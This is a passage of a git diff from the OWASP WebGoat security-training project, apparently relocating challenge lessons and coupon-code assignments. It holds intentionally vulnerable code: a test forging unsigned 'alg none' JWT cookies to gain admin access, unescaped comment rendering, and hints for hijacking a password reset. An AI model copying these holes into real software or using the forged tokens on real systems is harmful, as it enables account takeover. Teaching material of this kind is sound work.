- user profile image -
-
-
- John Doe - uploaded a photo. -
-
24 days ago
-
-
- -
- image post -
- -
- -
- -
-
- -
-
-
-
- -
-
- -
-
- -
- - -
-
-
-
-
- \ No newline at end of file diff --git a/webgoat-lessons/challenge/src/main/resources/html/Challenge4.html b/webgoat-lessons/challenge/src/main/resources/html/Challenge4.html deleted file mode 100644 index f760beffe..000000000 --- a/webgoat-lessons/challenge/src/main/resources/html/Challenge4.html +++ /dev/null @@ -1,75 +0,0 @@ - - - - - -
-
- - - -
-
-
- -
- -
-
- -
-

Welcome back,

-
-
- -
-

Vote for your favorite

-
-
- -
-
-
-
- -
-
-
-
-
- -
-
- -
-
- -
- -
-
-
-
-
- - \ No newline at end of file diff --git a/webgoat-lessons/challenge/src/main/resources/html/Challenge9.html b/webgoat-lessons/challenge/src/main/resources/html/Challenge9.html deleted file mode 100644 index 49cc34ca9..000000000 --- a/webgoat-lessons/challenge/src/main/resources/html/Challenge9.html +++ /dev/null @@ -1,109 +0,0 @@ - - - - -
-
- - -
-
- -
-
-
-

- - Account Access -

-
-
-
-
- @ - -
-
- - - - - -
-
- -

- - Forgot your password? - -

-
-
-
-
- -
-
-
- -
-
-
-
-
- -
-
- -
-
- -
- -
-
-
-
-
- - \ No newline at end of file diff --git a/webgoat-lessons/challenge/src/main/resources/i18n/WebGoatLabels.properties b/webgoat-lessons/challenge/src/main/resources/i18n/WebGoatLabels.properties index 40f882656..267502639 100644 --- a/webgoat-lessons/challenge/src/main/resources/i18n/WebGoatLabels.properties +++ b/webgoat-lessons/challenge/src/main/resources/i18n/WebGoatLabels.properties @@ -2,7 +2,6 @@ challenge0.title=WebGoat Challenge challenge1.title=Admin lost password challenge2.title=Get it for free challenge3.title=Photo comments -challenge4.title=Voting challenge5.title=Without password challenge6.title=Creating a new account challenge7.title=Admin password reset @@ -22,8 +21,7 @@ challenge.flag.incorrect=Sorry this is not the correct flag, please try again. ip.address.unknown=IP address unknown, e-mail has been sent. -login_failed=Login failed -login_failed.tom=Sorry only Tom can login at the moment + required4=Missing username or password, please specify both. user.not.larry=Please try to log in as Larry not {0}. \ No newline at end of file diff --git a/webgoat-lessons/challenge/src/main/resources/images/cat.jpg b/webgoat-lessons/challenge/src/main/resources/images/cat.jpg deleted file mode 100644 index e0e1fb983..000000000 Binary files a/webgoat-lessons/challenge/src/main/resources/images/cat.jpg and /dev/null differ diff --git a/webgoat-lessons/challenge/src/main/resources/js/challenge3.js b/webgoat-lessons/challenge/src/main/resources/js/challenge3.js deleted file mode 100644 index fb902e050..000000000 --- a/webgoat-lessons/challenge/src/main/resources/js/challenge3.js +++ /dev/null @@ -1,45 +0,0 @@ -$(document).ready(function () { - $("#postComment").on("click", function () { - var commentInput = $("#commentInput").val(); - $.ajax({ - type: 'POST', - url: 'challenge/3', - data: JSON.stringify({text: commentInput}), - contentType: "application/json", - dataType: 'json' - }).then( - function () { - getChallenges(); - $("#commentInput").val(''); - } - ) - }) - - var html = '
  • ' + - '
    ' + - 'avatar' + - '
    ' + - '
    ' + - '
    ' + - '

    USER

    ' + - '
    DATETIME
    ' + - '
    ' + - '

    COMMENT

    ' + - '
    ' + - '
  • '; - - getChallenges(); - - function getChallenges() { - $("#list").empty(); - $.get("challenge/3", function (result, status) { - for (var i = 0; i < result.length; i++) { - var comment = html.replace('USER', result[i].user); - comment = comment.replace('DATETIME', result[i].dateTime); - comment = comment.replace('COMMENT', result[i].text); - $("#list").append(comment); - } - - }); - } -}) \ No newline at end of file diff --git a/webgoat-lessons/challenge/src/main/resources/js/challenge9.js b/webgoat-lessons/challenge/src/main/resources/js/challenge9.js deleted file mode 100644 index eccbd7d33..000000000 --- a/webgoat-lessons/challenge/src/main/resources/js/challenge9.js +++ /dev/null @@ -1,10 +0,0 @@ -$(document).ready(function() { - $('#login').click(function(e) { - e.preventDefault(); - $('div#form-login').toggle('500'); - }); - $('#forgot').click(function(e) { - e.preventDefault(); - $('div#form-login').toggle('500'); - }); -}); \ No newline at end of file diff --git a/webgoat-lessons/challenge/src/main/resources/lessonPlans/en/Challenge_3.adoc b/webgoat-lessons/challenge/src/main/resources/lessonPlans/en/Challenge_3.adoc deleted file mode 100644 index 396cbfa0f..000000000 --- a/webgoat-lessons/challenge/src/main/resources/lessonPlans/en/Challenge_3.adoc +++ /dev/null @@ -1 +0,0 @@ -Changing language can help you find the 'secret' file \ No newline at end of file diff --git a/webgoat-lessons/challenge/src/main/resources/lessonPlans/en/Challenge_4.adoc b/webgoat-lessons/challenge/src/main/resources/lessonPlans/en/Challenge_4.adoc deleted file mode 100644 index 883d4be45..000000000 --- a/webgoat-lessons/challenge/src/main/resources/lessonPlans/en/Challenge_4.adoc +++ /dev/null @@ -1 +0,0 @@ -Try to change to a different user, maybe you can find the flag? \ No newline at end of file diff --git a/webgoat-lessons/challenge/src/main/resources/lessonPlans/en/Challenge_9.adoc b/webgoat-lessons/challenge/src/main/resources/lessonPlans/en/Challenge_9.adoc deleted file mode 100644 index f2e2c1c9b..000000000 --- a/webgoat-lessons/challenge/src/main/resources/lessonPlans/en/Challenge_9.adoc +++ /dev/null @@ -1,3 +0,0 @@ -Tom always resets his password immediately after receiving the email with the link. -Try to reset the password of Tom (tom@webgoat-cloud.org) to your own choice and login as Tom with -that password. diff --git a/webgoat-lessons/challenge/src/test/java/org/owasp/webgoat/plugin/challenge2/Assignment2Test.java b/webgoat-lessons/challenge/src/test/java/org/owasp/webgoat/plugin/challenge2/Assignment2Test.java deleted file mode 100644 index edf70df28..000000000 --- a/webgoat-lessons/challenge/src/test/java/org/owasp/webgoat/plugin/challenge2/Assignment2Test.java +++ /dev/null @@ -1,49 +0,0 @@ -package org.owasp.webgoat.plugin.challenge2; - -import org.hamcrest.CoreMatchers; -import org.junit.Before; -import org.junit.Test; -import org.junit.runner.RunWith; -import org.mockito.runners.MockitoJUnitRunner; -import org.owasp.webgoat.assignments.AssignmentEndpointTest; -import org.owasp.webgoat.plugin.Flag; -import org.owasp.webgoat.plugin.SolutionConstants; -import org.springframework.test.web.servlet.MockMvc; -import org.springframework.test.web.servlet.request.MockMvcRequestBuilders; - -import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.jsonPath; -import static org.springframework.test.web.servlet.setup.MockMvcBuilders.standaloneSetup; - -/** - * @author nbaars - * @since 5/2/17. - */ -@RunWith(MockitoJUnitRunner.class) -public class Assignment2Test extends AssignmentEndpointTest { - - private MockMvc mockMvc; - - @Before - public void setup() { - Assignment2 assignment2 = new Assignment2(); - init(assignment2); - new Flag().initFlags(); - this.mockMvc = standaloneSetup(assignment2).build(); - } - - @Test - public void success() throws Exception { - mockMvc.perform(MockMvcRequestBuilders.post("/challenge/2") - .param("checkoutCode", SolutionConstants.SUPER_COUPON_CODE)) - .andExpect(jsonPath("$.feedback", CoreMatchers.containsString("flag: " + Flag.FLAGS.get(2)))) - .andExpect(jsonPath("$.lessonCompleted", CoreMatchers.is(true))); - } - - @Test - public void wrongCouponCode() throws Exception { - mockMvc.perform(MockMvcRequestBuilders.post("/challenge/2") - .param("checkoutCode", "test")) - .andExpect(jsonPath("$.feedback", CoreMatchers.is(messages.getMessage("assignment.not.solved")))) - .andExpect(jsonPath("$.lessonCompleted", CoreMatchers.is(false))); - } -} \ No newline at end of file diff --git a/webgoat-lessons/challenge/src/test/java/org/owasp/webgoat/plugin/challenge4/VotesEndpointTest.java b/webgoat-lessons/challenge/src/test/java/org/owasp/webgoat/plugin/challenge4/VotesEndpointTest.java deleted file mode 100644 index 322cf8873..000000000 --- a/webgoat-lessons/challenge/src/test/java/org/owasp/webgoat/plugin/challenge4/VotesEndpointTest.java +++ /dev/null @@ -1,161 +0,0 @@ -package org.owasp.webgoat.plugin.challenge4; - -import org.hamcrest.CoreMatchers; -import org.junit.Before; -import org.junit.Test; -import org.junit.runner.RunWith; -import org.mockito.runners.MockitoJUnitRunner; -import org.owasp.webgoat.plugin.Flag; -import org.springframework.test.web.servlet.MockMvc; -import org.springframework.test.web.servlet.MvcResult; -import org.springframework.test.web.servlet.request.MockMvcRequestBuilders; - -import javax.servlet.http.Cookie; - -import static org.springframework.security.test.web.servlet.response.SecurityMockMvcResultMatchers.unauthenticated; -import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.*; -import static org.springframework.test.web.servlet.setup.MockMvcBuilders.standaloneSetup; - -/** - * @author nbaars - * @since 5/2/17. - */ -@RunWith(MockitoJUnitRunner.class) -public class VotesEndpointTest { - - private MockMvc mockMvc; - - @Before - public void setup() { - VotesEndpoint votesEndpoint = new VotesEndpoint(); - votesEndpoint.initVotes(); - new Flag().initFlags(); - this.mockMvc = standaloneSetup(votesEndpoint).build(); - } - - @Test - public void loginWithUnknownUser() throws Exception { - mockMvc.perform(MockMvcRequestBuilders.get("/votings/login") - .param("user", "uknown")) - .andExpect(unauthenticated()); - } - - @Test - public void loginWithTomShouldGiveJwtToken() throws Exception { - mockMvc.perform(MockMvcRequestBuilders.get("/votings/login") - .param("user", "Tom")) - .andExpect(status().isOk()).andExpect(cookie().exists("access_token")); - } - - @Test - public void loginWithGuestShouldNotGiveJwtToken() throws Exception { - mockMvc.perform(MockMvcRequestBuilders.get("/votings/login") - .param("user", "Guest")) - .andExpect(unauthenticated()).andExpect(cookie().value("access_token", "")); - } - - @Test - public void userShouldSeeMore() throws Exception { - MvcResult mvcResult = mockMvc.perform(MockMvcRequestBuilders.get("/votings/login") - .param("user", "Tom")) - .andExpect(status().isOk()).andExpect(cookie().exists("access_token")).andReturn(); - mockMvc.perform(MockMvcRequestBuilders.get("/votings") - .cookie(mvcResult.getResponse().getCookie("access_token"))) - .andExpect(jsonPath("$.[*].numberOfVotes").exists()); - } - - @Test - public void guestShouldNotSeeNumberOfVotes() throws Exception { - MvcResult mvcResult = mockMvc.perform(MockMvcRequestBuilders.get("/votings/login") - .param("user", "Guest")) - .andExpect(unauthenticated()).andExpect(cookie().exists("access_token")).andReturn(); - mockMvc.perform(MockMvcRequestBuilders.get("/votings") - .cookie(mvcResult.getResponse().getCookie("access_token"))) - .andExpect(jsonPath("$.[*].numberOfVotes").doesNotExist()); - } - - @Test - public void adminShouldSeeFlags() throws Exception { - mockMvc.perform(MockMvcRequestBuilders.get("/votings") - .cookie(new Cookie("access_token", "eyJhbGciOiJub25lIn0.eyJhZG1pbiI6InRydWUiLCJ1c2VyIjoiSmVycnkifQ."))) - .andExpect(jsonPath("$.[*].flag").isNotEmpty()); - } - - @Test - public void votingIsNotAllowedAsGuest() throws Exception { - mockMvc.perform(MockMvcRequestBuilders.post("/votings/Get it for free")) - .andExpect(unauthenticated()); - } - - @Test - public void normalUserShouldBeAbleToVote() throws Exception { - MvcResult mvcResult = mockMvc.perform(MockMvcRequestBuilders.get("/votings/login") - .param("user", "Tom")) - .andExpect(status().isOk()).andExpect(cookie().exists("access_token")).andReturn(); - mockMvc.perform(MockMvcRequestBuilders.post("/votings/Get it for free") - .cookie(mvcResult.getResponse().getCookie("access_token"))); - mockMvc.perform(MockMvcRequestBuilders.get("/votings/") - .cookie(mvcResult.getResponse().getCookie("access_token"))) - .andExpect(jsonPath("$..[?(@.title == 'Get it for free')].numberOfVotes", CoreMatchers.hasItem(20001))); - } - - @Test - public void votingForUnknownLessonShouldNotCrash() throws Exception { - MvcResult mvcResult = mockMvc.perform(MockMvcRequestBuilders.get("/votings/login") - .param("user", "Tom")) - .andExpect(status().isOk()).andExpect(cookie().exists("access_token")).andReturn(); - mockMvc.perform(MockMvcRequestBuilders.post("/votings/UKNOWN_VOTE") - .cookie(mvcResult.getResponse().getCookie("access_token"))).andExpect(status().isAccepted()); - } - - @Test - public void votingWithInvalidToken() throws Exception { - mockMvc.perform(MockMvcRequestBuilders.post("/votings/UKNOWN_VOTE") - .cookie(new Cookie("access_token", "abc"))).andExpect(unauthenticated()); - } - - @Test - public void gettingVotesWithInvalidToken() throws Exception { - mockMvc.perform(MockMvcRequestBuilders.get("/votings/") - .cookie(new Cookie("access_token", "abc"))).andExpect(unauthenticated()); - } - - @Test - public void gettingVotesWithUnknownUserInToken() throws Exception { - mockMvc.perform(MockMvcRequestBuilders.get("/votings/") - .cookie(new Cookie("access_token", "eyJhbGciOiJub25lIn0.eyJhZG1pbiI6InRydWUiLCJ1c2VyIjoiVW5rbm93biJ9."))) - .andExpect(unauthenticated()) - .andExpect(jsonPath("$.[*].numberOfVotes").doesNotExist()); - } - - @Test - public void gettingVotesForUnknownShouldWork() throws Exception { - mockMvc.perform(MockMvcRequestBuilders.get("/votings/") - .cookie(new Cookie("access_token", "eyJhbGciOiJub25lIn0.eyJ1c2VyIjoiVW5rbm93biJ9."))) - .andExpect(unauthenticated()) - .andExpect(jsonPath("$.[*].numberOfVotes").doesNotExist()); - } - - @Test - public void gettingVotesForKnownWithoutAdminFieldShouldWork() throws Exception { - mockMvc.perform(MockMvcRequestBuilders.get("/votings/") - .cookie(new Cookie("access_token", "eyJhbGciOiJub25lIn0.eyJ1c2VyIjoiVG9tIn0."))) - .andExpect(status().isOk()) - .andExpect(jsonPath("$.[*].numberOfVotes").exists()); - } - - @Test - public void gettingVotesWithEmptyToken() throws Exception { - mockMvc.perform(MockMvcRequestBuilders.get("/votings/") - .cookie(new Cookie("access_token", ""))) - .andExpect(status().isOk()) - .andExpect(jsonPath("$.[*].numberOfVotes").doesNotExist()); - } - - @Test - public void votingAsUnknownUserShouldNotBeAllowed() throws Exception { - mockMvc.perform(MockMvcRequestBuilders.post("/votings/Get it for free") - .cookie(new Cookie("access_token", "eyJhbGciOiJub25lIn0.eyJ1c2VyIjoiVW5rbm93biJ9."))) - .andExpect(unauthenticated()); - } -} \ No newline at end of file diff --git a/webgoat-lessons/client-side-filtering/pom.xml b/webgoat-lessons/client-side-filtering/pom.xml index 95970426a..485e42b76 100644 --- a/webgoat-lessons/client-side-filtering/pom.xml +++ b/webgoat-lessons/client-side-filtering/pom.xml @@ -6,7 +6,7 @@ org.owasp.webgoat.lesson webgoat-lessons-parent - v8.0.0.M14 + v8.0.0.SNAPSHOT diff --git a/webgoat-lessons/challenge/src/main/java/org/owasp/webgoat/plugin/challenge2/Assignment2.java b/webgoat-lessons/client-side-filtering/src/main/java/org/owasp/webgoat/plugin/ClientSideFilteringFreeAssignment.java similarity index 52% rename from webgoat-lessons/challenge/src/main/java/org/owasp/webgoat/plugin/challenge2/Assignment2.java rename to webgoat-lessons/client-side-filtering/src/main/java/org/owasp/webgoat/plugin/ClientSideFilteringFreeAssignment.java index d46535589..d27e67c86 100644 --- a/webgoat-lessons/challenge/src/main/java/org/owasp/webgoat/plugin/challenge2/Assignment2.java +++ b/webgoat-lessons/client-side-filtering/src/main/java/org/owasp/webgoat/plugin/ClientSideFilteringFreeAssignment.java @@ -1,9 +1,9 @@ -package org.owasp.webgoat.plugin.challenge2; +package org.owasp.webgoat.plugin; import org.owasp.webgoat.assignments.AssignmentEndpoint; +import org.owasp.webgoat.assignments.AssignmentHints; import org.owasp.webgoat.assignments.AssignmentPath; import org.owasp.webgoat.assignments.AttackResult; -import org.owasp.webgoat.plugin.Flag; import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.RequestMethod; import org.springframework.web.bind.annotation.RequestParam; @@ -11,22 +11,23 @@ import org.springframework.web.bind.annotation.ResponseBody; import java.io.IOException; -import static org.owasp.webgoat.plugin.SolutionConstants.SUPER_COUPON_CODE; - /** * @author nbaars * @since 4/6/17. */ -@AssignmentPath("/challenge/2") -public class Assignment2 extends AssignmentEndpoint { +@AssignmentPath("/clientSideFiltering/getItForFree") +@AssignmentHints({"client.side.filtering.free.hint1", "client.side.filtering.free.hint2", "client.side.filtering.free.hint3"}) +public class ClientSideFilteringFreeAssignment extends AssignmentEndpoint { + + public static final String SUPER_COUPON_CODE = "get_it_for_free"; @RequestMapping(method = RequestMethod.POST) public @ResponseBody - AttackResult completed(@RequestParam String checkoutCode) throws IOException { + AttackResult completed(@RequestParam String checkoutCode) { if (SUPER_COUPON_CODE.equals(checkoutCode)) { - return success().feedback("challenge.solved").feedbackArgs(Flag.FLAGS.get(2)).build(); + return trackProgress(success().build()); } - return failed().build(); + return trackProgress(failed().build()); } } diff --git a/webgoat-lessons/challenge/src/main/java/org/owasp/webgoat/plugin/challenge2/ShopEndpoint.java b/webgoat-lessons/client-side-filtering/src/main/java/org/owasp/webgoat/plugin/ShopEndpoint.java similarity index 89% rename from webgoat-lessons/challenge/src/main/java/org/owasp/webgoat/plugin/challenge2/ShopEndpoint.java rename to webgoat-lessons/client-side-filtering/src/main/java/org/owasp/webgoat/plugin/ShopEndpoint.java index 12c929492..de3efb0dc 100644 --- a/webgoat-lessons/challenge/src/main/java/org/owasp/webgoat/plugin/challenge2/ShopEndpoint.java +++ b/webgoat-lessons/client-side-filtering/src/main/java/org/owasp/webgoat/plugin/ShopEndpoint.java @@ -1,4 +1,4 @@ -package org.owasp.webgoat.plugin.challenge2; +package org.owasp.webgoat.plugin; import com.beust.jcommander.internal.Lists; import lombok.AllArgsConstructor; @@ -12,21 +12,21 @@ import org.springframework.web.bind.annotation.RestController; import java.util.List; import java.util.Optional; -import static org.owasp.webgoat.plugin.SolutionConstants.SUPER_COUPON_CODE; +import static org.owasp.webgoat.plugin.ClientSideFilteringFreeAssignment.SUPER_COUPON_CODE; /** * @author nbaars * @since 4/6/17. */ @RestController -@RequestMapping("challenge-store") +@RequestMapping("/clientSideFiltering/challenge-store") public class ShopEndpoint { @AllArgsConstructor private class CheckoutCodes { @Getter - private List codes = Lists.newArrayList(); + private List codes; public Optional get(String code) { return codes.stream().filter(c -> c.getCode().equals(code)).findFirst(); diff --git a/webgoat-lessons/challenge/src/main/resources/css/challenge2.css b/webgoat-lessons/client-side-filtering/src/main/resources/css/clientSideFilteringFree.css similarity index 100% rename from webgoat-lessons/challenge/src/main/resources/css/challenge2.css rename to webgoat-lessons/client-side-filtering/src/main/resources/css/clientSideFilteringFree.css diff --git a/webgoat-lessons/client-side-filtering/src/main/resources/html/ClientSideFiltering.html b/webgoat-lessons/client-side-filtering/src/main/resources/html/ClientSideFiltering.html index 7e861d4ee..fba83fe8d 100644 --- a/webgoat-lessons/client-side-filtering/src/main/resources/html/ClientSideFiltering.html +++ b/webgoat-lessons/client-side-filtering/src/main/resources/html/ClientSideFiltering.html @@ -73,7 +73,96 @@ +
    +
    + + +
    +
    +
    +
    + + +
    + +
    + +
    +
    +

    Samsung Galaxy S8

    +
    Samsung · + (124421 reviews) +
    + +
    + PRICE +
    +

    US $899

    + +
    +
    + COLOR +
    +
    +
    +
    +
    +
    +
    +
    + CAPACITY +
    +
    +
    64 GB
    +
    128 GB
    +
    +
    +
    +
    + QUANTITY +
    +
    +
    + +
    +
    +
    + +
    +
    + CHECKOUT CODE +
    + + + +
    + +
    + +
    + Like
    +
    +
    +
    + +
    +
    +
    +
    +
    +
    +
    +
    diff --git a/webgoat-lessons/client-side-filtering/src/main/resources/i18n/WebGoatLabels.properties b/webgoat-lessons/client-side-filtering/src/main/resources/i18n/WebGoatLabels.properties index e9a044325..0288c3ddf 100644 --- a/webgoat-lessons/client-side-filtering/src/main/resources/i18n/WebGoatLabels.properties +++ b/webgoat-lessons/client-side-filtering/src/main/resources/i18n/WebGoatLabels.properties @@ -26,3 +26,7 @@ ClientSideFilteringHint10=Stage 2: Your filter operator should look something li ClientSideFilteringInstructions1=STAGE 1: You are logged in as Moe Stooge, CSO of Goat Hills Financial. You have access to everyone in the company's information, except the CEO, . Or at least you shouldn't have access to the CEO's information. For this exercise, examine the contents of the page to see what extra information you can find. ClientSideFilteringInstructions2=STAGE 2: Now, fix the problem. Modify the server to only return results that Moe Stooge is allowed to see. ClientSideFiltering.incorrect=This is not the salary from Neville Bartholomew... + +client.side.filtering.free.hint1=Look through the webpage inspect the sources etc +client.side.filtering.free.hint2=Try to see the flow of request from the page to the backend +client.side.fiterling.free.hint3=One of the responses contains the answer diff --git a/webgoat-lessons/challenge/src/main/resources/images/samsung-black.jpg b/webgoat-lessons/client-side-filtering/src/main/resources/images/samsung-black.jpg similarity index 100% rename from webgoat-lessons/challenge/src/main/resources/images/samsung-black.jpg rename to webgoat-lessons/client-side-filtering/src/main/resources/images/samsung-black.jpg diff --git a/webgoat-lessons/challenge/src/main/resources/images/samsung-grey.jpg b/webgoat-lessons/client-side-filtering/src/main/resources/images/samsung-grey.jpg similarity index 100% rename from webgoat-lessons/challenge/src/main/resources/images/samsung-grey.jpg rename to webgoat-lessons/client-side-filtering/src/main/resources/images/samsung-grey.jpg diff --git a/webgoat-lessons/challenge/src/main/resources/js/challenge2.js b/webgoat-lessons/client-side-filtering/src/main/resources/js/clientSideFilteringFree.js similarity index 94% rename from webgoat-lessons/challenge/src/main/resources/js/challenge2.js rename to webgoat-lessons/client-side-filtering/src/main/resources/js/clientSideFilteringFree.js index 78df37939..5ea768875 100644 --- a/webgoat-lessons/challenge/src/main/resources/js/challenge2.js +++ b/webgoat-lessons/client-side-filtering/src/main/resources/js/clientSideFilteringFree.js @@ -38,7 +38,7 @@ $(document).ready(function () { }) $(".checkoutCode").on("blur", function () { var checkoutCode = $(".checkoutCode").val(); - $.get("challenge-store/coupons/" + checkoutCode, function (result, status) { + $.get("clientSideFiltering/challenge-store/coupons/" + checkoutCode, function (result, status) { var discount = result.discount; if (discount > 0) { $('#discount').text(discount); diff --git a/webgoat-lessons/challenge/src/main/resources/lessonPlans/en/Challenge_2.adoc b/webgoat-lessons/client-side-filtering/src/main/resources/lessonPlans/en/ClientSideFiltering_final.adoc similarity index 100% rename from webgoat-lessons/challenge/src/main/resources/lessonPlans/en/Challenge_2.adoc rename to webgoat-lessons/client-side-filtering/src/main/resources/lessonPlans/en/ClientSideFiltering_final.adoc diff --git a/webgoat-lessons/client-side-filtering/src/test/java/org/owasp/webgoat/plugin/ClientSideFilteringFreeAssignmentTest.java b/webgoat-lessons/client-side-filtering/src/test/java/org/owasp/webgoat/plugin/ClientSideFilteringFreeAssignmentTest.java new file mode 100644 index 000000000..956dde343 --- /dev/null +++ b/webgoat-lessons/client-side-filtering/src/test/java/org/owasp/webgoat/plugin/ClientSideFilteringFreeAssignmentTest.java @@ -0,0 +1,49 @@ +package org.owasp.webgoat.plugin; + +import org.hamcrest.CoreMatchers; +import org.junit.Before; +import org.junit.Test; +import org.junit.runner.RunWith; +import org.mockito.runners.MockitoJUnitRunner; +import org.owasp.webgoat.plugins.LessonTest; +import org.springframework.test.context.junit4.SpringJUnit4ClassRunner; +import org.springframework.test.web.servlet.MockMvc; +import org.springframework.test.web.servlet.request.MockMvcRequestBuilders; +import org.springframework.test.web.servlet.setup.MockMvcBuilders; + +import static org.mockito.Mockito.when; +import static org.owasp.webgoat.plugin.ClientSideFilteringFreeAssignment.SUPER_COUPON_CODE; +import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.jsonPath; + +/** + * @author nbaars + * @since 5/2/17. + */ +@RunWith(SpringJUnit4ClassRunner.class) +public class ClientSideFilteringFreeAssignmentTest extends LessonTest { + + private MockMvc mockMvc; + + @Before + public void setup() { + ClientSideFiltering clientSideFiltering = new ClientSideFiltering(); + when(webSession.getCurrentLesson()).thenReturn(clientSideFiltering); + this.mockMvc = MockMvcBuilders.webAppContextSetup(this.wac).build(); + when(webSession.getUserName()).thenReturn("unit-test"); + } + + @Test + public void success() throws Exception { + mockMvc.perform(MockMvcRequestBuilders.post("/clientSideFiltering/getItForFree") + .param("checkoutCode", SUPER_COUPON_CODE)) + .andExpect(jsonPath("$.lessonCompleted", CoreMatchers.is(true))); + } + + @Test + public void wrongCouponCode() throws Exception { + mockMvc.perform(MockMvcRequestBuilders.post("/clientSideFiltering/getItForFree") + .param("checkoutCode", "test")) + .andExpect(jsonPath("$.feedback", CoreMatchers.is(messages.getMessage("assignment.not.solved")))) + .andExpect(jsonPath("$.lessonCompleted", CoreMatchers.is(false))); + } +} \ No newline at end of file diff --git a/webgoat-lessons/challenge/src/test/java/org/owasp/webgoat/plugin/challenge2/ShopEndpointTest.java b/webgoat-lessons/client-side-filtering/src/test/java/org/owasp/webgoat/plugin/ShopEndpointTest.java similarity index 74% rename from webgoat-lessons/challenge/src/test/java/org/owasp/webgoat/plugin/challenge2/ShopEndpointTest.java rename to webgoat-lessons/client-side-filtering/src/test/java/org/owasp/webgoat/plugin/ShopEndpointTest.java index e50e2aa8f..c69189168 100644 --- a/webgoat-lessons/challenge/src/test/java/org/owasp/webgoat/plugin/challenge2/ShopEndpointTest.java +++ b/webgoat-lessons/client-side-filtering/src/test/java/org/owasp/webgoat/plugin/ShopEndpointTest.java @@ -1,4 +1,4 @@ -package org.owasp.webgoat.plugin.challenge2; +package org.owasp.webgoat.plugin; import org.hamcrest.CoreMatchers; import org.junit.Before; @@ -9,7 +9,7 @@ import org.springframework.test.web.servlet.MockMvc; import org.springframework.test.web.servlet.request.MockMvcRequestBuilders; import static org.hamcrest.Matchers.is; -import static org.owasp.webgoat.plugin.SolutionConstants.SUPER_COUPON_CODE; +import static org.owasp.webgoat.plugin.ClientSideFilteringFreeAssignment.SUPER_COUPON_CODE; import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.jsonPath; import static org.springframework.test.web.servlet.setup.MockMvcBuilders.standaloneSetup; @@ -30,28 +30,28 @@ public class ShopEndpointTest { @Test public void getSuperCoupon() throws Exception { - mockMvc.perform(MockMvcRequestBuilders.get("/challenge-store/coupons/" + SUPER_COUPON_CODE)) + mockMvc.perform(MockMvcRequestBuilders.get("/clientSideFiltering/challenge-store/coupons/" + SUPER_COUPON_CODE)) .andExpect(jsonPath("$.code", CoreMatchers.is(SUPER_COUPON_CODE))) .andExpect(jsonPath("$.discount", CoreMatchers.is(100))); } @Test public void getCoupon() throws Exception { - mockMvc.perform(MockMvcRequestBuilders.get("/challenge-store/coupons/webgoat")) + mockMvc.perform(MockMvcRequestBuilders.get("/clientSideFiltering/challenge-store/coupons/webgoat")) .andExpect(jsonPath("$.code", CoreMatchers.is("webgoat"))) .andExpect(jsonPath("$.discount", CoreMatchers.is(25))); } @Test public void askForUnknownCouponCode() throws Exception { - mockMvc.perform(MockMvcRequestBuilders.get("/challenge-store/coupons/does-not-exists")) + mockMvc.perform(MockMvcRequestBuilders.get("/clientSideFiltering/challenge-store/coupons/does-not-exists")) .andExpect(jsonPath("$.code", CoreMatchers.is("no"))) .andExpect(jsonPath("$.discount", CoreMatchers.is(0))); } @Test public void fetchAllTheCouponsShouldContainGetItForFree() throws Exception { - mockMvc.perform(MockMvcRequestBuilders.get("/challenge-store/coupons/")) + mockMvc.perform(MockMvcRequestBuilders.get("/clientSideFiltering/challenge-store/coupons/")) .andExpect(jsonPath("$.codes[3].code", is("get_it_for_free"))); } diff --git a/webgoat-lessons/cross-site-scripting/pom.xml b/webgoat-lessons/cross-site-scripting/pom.xml index 71723d5b3..b8c1021ff 100644 --- a/webgoat-lessons/cross-site-scripting/pom.xml +++ b/webgoat-lessons/cross-site-scripting/pom.xml @@ -6,7 +6,7 @@ org.owasp.webgoat.lesson webgoat-lessons-parent - v8.0.0.M14 + v8.0.0.SNAPSHOT diff --git a/webgoat-lessons/csrf/pom.xml b/webgoat-lessons/csrf/pom.xml index fdc72d3f4..cc8d429c5 100644 --- a/webgoat-lessons/csrf/pom.xml +++ b/webgoat-lessons/csrf/pom.xml @@ -6,6 +6,6 @@ org.owasp.webgoat.lesson webgoat-lessons-parent - v8.0.0.M14 + v8.0.0.SNAPSHOT \ No newline at end of file diff --git a/webgoat-lessons/csrf/src/main/java/org/owasp/webgoat/plugin/CSRFConfirmFlag1.java b/webgoat-lessons/csrf/src/main/java/org/owasp/webgoat/plugin/CSRFConfirmFlag1.java index 03ca8d239..4cf8f22eb 100644 --- a/webgoat-lessons/csrf/src/main/java/org/owasp/webgoat/plugin/CSRFConfirmFlag1.java +++ b/webgoat-lessons/csrf/src/main/java/org/owasp/webgoat/plugin/CSRFConfirmFlag1.java @@ -6,30 +6,31 @@ import org.owasp.webgoat.assignments.AssignmentPath; import org.owasp.webgoat.assignments.AttackResult; import org.owasp.webgoat.session.UserSessionData; import org.springframework.beans.factory.annotation.Autowired; -import org.springframework.web.bind.annotation.GetMapping; import org.springframework.web.bind.annotation.PostMapping; import org.springframework.web.bind.annotation.ResponseBody; -import javax.servlet.http.HttpServletRequest; - /** * Created by jason on 9/29/17. */ @AssignmentPath("/csrf/confirm-flag-1") -@AssignmentHints({"csrf-get.hint1","csrf-get.hint2","csrf-get.hint3","csrf-get.hint4"}) +@AssignmentHints({"csrf-get.hint1", "csrf-get.hint2", "csrf-get.hint3", "csrf-get.hint4"}) public class CSRFConfirmFlag1 extends AssignmentEndpoint { @Autowired UserSessionData userSessionData; @PostMapping(produces = {"application/json"}) - public @ResponseBody AttackResult completed(String confirmFlagVal) { + public @ResponseBody + AttackResult completed(String confirmFlagVal) { - if (confirmFlagVal.equals(userSessionData.getValue("csrf-get-success").toString())) { - return success().feedback("csrf-get-null-referer.success").output("Correct, the flag was " + userSessionData.getValue("csrf-get-success")).build(); + Object userSessionDataStr = userSessionData.getValue("csrf-get-success"); + if (userSessionDataStr != null && confirmFlagVal.equals(userSessionDataStr.toString())) { + return trackProgress( + success().feedback("csrf-get-null-referer.success").output("Correct, the flag was " + userSessionData.getValue("csrf-get-success")).build() + ); } - return failed().feedback("").build(); + return trackProgress(failed().build()); } } diff --git a/webgoat-lessons/csrf/src/main/java/org/owasp/webgoat/plugin/CSRFFeedback.java b/webgoat-lessons/csrf/src/main/java/org/owasp/webgoat/plugin/CSRFFeedback.java index 2fdce6958..0acd8bbfe 100644 --- a/webgoat-lessons/csrf/src/main/java/org/owasp/webgoat/plugin/CSRFFeedback.java +++ 